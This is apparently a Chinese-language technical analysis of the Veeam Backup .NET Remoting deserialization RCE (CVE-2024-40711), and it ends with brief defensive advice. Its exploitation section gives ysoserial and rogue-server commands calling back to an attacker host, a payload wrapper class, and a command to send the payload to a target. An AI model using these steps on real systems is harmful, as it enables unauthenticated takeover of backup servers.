.Net Remoting 系列三:Veeam Backup RCE (CVE-2024-40711)
字数 1146 2025-08-20 18:17:31
.NET Remoting 漏洞分析与利用:Veeam Backup RCE (CVE-2024-40711) 深度解析
1. 前置知识
1.1 .NET Remoting 基础
.NET Remoting 是微软提供的一种分布式对象通信机制,允许应用程序跨应用程序域、进程或计算机边界进行通信。关键组件包括:
- Channel:通信通道(如 TCP、HTTP)
- Formatter:消息格式化器(如 BinaryFormatter、SoapFormatter)
- Sink:处理消息的组件链
1.2 关键安全机制
- TypeFilterLevel:控制反序列化时的类型安全级别
Low:仅允许基本反序列化Full:允许完全反序列化
- SerializationBinder:控制哪些类型可以被反序列化
2. 漏洞环境分析
2.1 Veeam Backup 服务架构
- 服务名称:
Veeam.Backup.Service.exe - 监听端口:9392
- 服务URI:
tcp://IP:9392/VeeamClientUpdateService - 认证机制:通过
CConnectionInterceptor实现
2.2 通信栈分析
服务端sink处理链:
TcpServerTransportSink → CBinaryServerFormatterSink → DispatchChannelSink
2.3 关键组件
- Channel注册:
private static TcpServerChannel RegisterChannel(Dictionary<string, string> channelProperties,
IServerChannelSinkProvider sinkProvider, CConnectionInterceptor connectionInterceptor)
{
TcpServerChannel tcpServerChannel = new TcpServerChannel(channelProperties, sinkProvider, connectionInterceptor);
tcpServerChannel.IsSecured = true; // 开启认证
ChannelServices.RegisterChannel(tcpServerChannel, true);
return tcpServerChannel;
}
- Sink Provider链构造:
private static IServerChannelSinkProvider GetSinkProvider(bool enableRemotingPerfLog, bool requireBasicPermission,
[CanBeNull] IActivityMonitor monitor, [CanBeNull] IImpersonationProvider impersonation,
[CanBeNull] IAccessCheckProvider accessCheckerProvider, [CanBeNull] IMfaProvider mfaProvider)
{
IServerChannelSinkProvider serverChannelSinkProvider =
new CBinaryServerFormatterSinkProvider(enableRemotingPerfLog, requireBasicPermission,
accessCheckerProvider, mfaProvider);
if (monitor != null)
serverChannelSinkProvider = new CActivityMonitorServerSinkProvider(monitor, serverChannelSinkProvider);
if (impersonation != null)
serverChannelSinkProvider = new CImpersonationServerSinkProvider(impersonation, serverChannelSinkProvider);
return serverChannelSinkProvider;
}
3. 漏洞原理分析
3.1 反序列化流程
关键反序列化方法:
private static IMessage DeserializeBinaryRequestMessage(Stream requestStream, ITransportHeaders requestHeaders)
{
IMessage message;
try {
message = (IMessage)CBinaryServerFormatterSink.CreateFormatter(false)
.DeserializeMethodResponse(requestStream,
new HeaderHandler(new CBinaryServerFormatterSink.UriHeaderHandler(requestHeaders).HeaderHandler), null);
} finally {
requestStream.Close();
}
return message;
}
3.2 安全机制分析
- RestrictedSerializationBinder:
- 提供白名单/黑名单两种模式
- 关键校验方法:
private void EnsureTypeIsAllowed(ValueTuple<string, string> key)
{
if (!this._serializingResponse && SOptions.Instance.ShouldWhitelistingRemoting) {
this.EnsuredBlackWhitelistsAreLoaded();
string text = key.Item2 + ", " + key.Item1;
if (this._mode == RestrictedSerializationBinder.Modes.FilterByWhitelist) {
RestrictedSerializationBinder._allowedTypeFullnames.EnsureIsAllowed(text);
return;
}
if (this._mode == RestrictedSerializationBinder.Modes.FilterByBlacklist) {
RestrictedSerializationBinder._notAllowedTypeFullnames.EnsureIsAllowed(text);
}
}
}
- 漏洞点:
- 存在一处使用黑名单模式的反序列化调用:
public static T Deserialize<T>(string input)
{
T t;
try {
byte[] array = Convert.FromBase64String(input);
BinaryFormatter binaryFormatter = new BinaryFormatter {
Binder = new RestrictedSerializationBinder(false, RestrictedSerializationBinder.Modes.FilterByBlacklist)
};
t = CProxyBinaryFormatter.BinaryDeserializeObject<T>(array, binaryFormatter);
}
// ...
}
3.3 利用链构造
-
ObjRef链:
- 仅反序列化
System.Runtime.Remoting.ObjRef和System.Exception - 可绕过黑名单检查
- 仅反序列化
-
跳板类:
- 白名单中的
CDbCryptoKeyInfo类调用了黑名单模式的Deserialize方法:
- 白名单中的
this._repairRecs = CProxyBinaryFormatter.Deserialize<CRepairRec>(
(string[])info.GetValue("RepairRecs", typeof(string[]))).ToList<CRepairRec>();
4. 漏洞利用实战
4.1 工具准备
- ExploitRemotingService:修改版绕过认证
- ysoserial.net:生成Payload
4.2 利用步骤
- 生成ObjRef Payload:
ysoserial.exe -g ObjRef -f BinaryFormatter -c "http://ATTACKER_IP:2345/aaa"
- 创建恶意服务器:
RogueRemotingServer.exe --wrapSoapPayload http://0.0.0.0:2345/aaa exploit.soapformatter
- 构造CDbCryptoKeyInfo包装类:
[Serializable]
public class CDbCryptoKeyInfoWrapper : ISerializable
{
private string[] _fakeList;
public CDbCryptoKeyInfoWrapper(string[] _fakeList) {
this._fakeList = _fakeList;
}
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
info.SetType(typeof(CDbCryptoKeyInfo));
info.AddValue("Id", Guid.NewGuid());
info.AddValue("KeySetId", null);
info.AddValue("KeyType", 1);
info.AddValue("Hint", "aaaaa");
info.AddValue("DecryptedKeyValue", "AAAA");
info.AddValue("LocaleLCID", 0x409);
info.AddValue("ModificationDateUtc", new DateTime());
info.AddValue("CryptoAlg", 1);
info.AddValue("RepairRecs", _fakeList); // 注入恶意Payload
}
}
- 发送攻击Payload:
ExploitRemotingService.exe -s tcp://TARGET_IP:9392/VeeamClientUpdateService raw BASE64_ENCODED_PAYLOAD
5. 防御建议
- 升级到已修复版本
- 限制网络访问,仅允许可信网络访问9392端口
- 实施网络层防护措施
- 监控异常反序列化活动
6. 总结
该漏洞利用.NET Remoting服务中白名单与黑名单模式不一致的安全缺陷,通过精心构造的ObjRef链绕过安全限制,最终实现远程代码执行。攻击者无需认证即可利用此漏洞,危害性极高。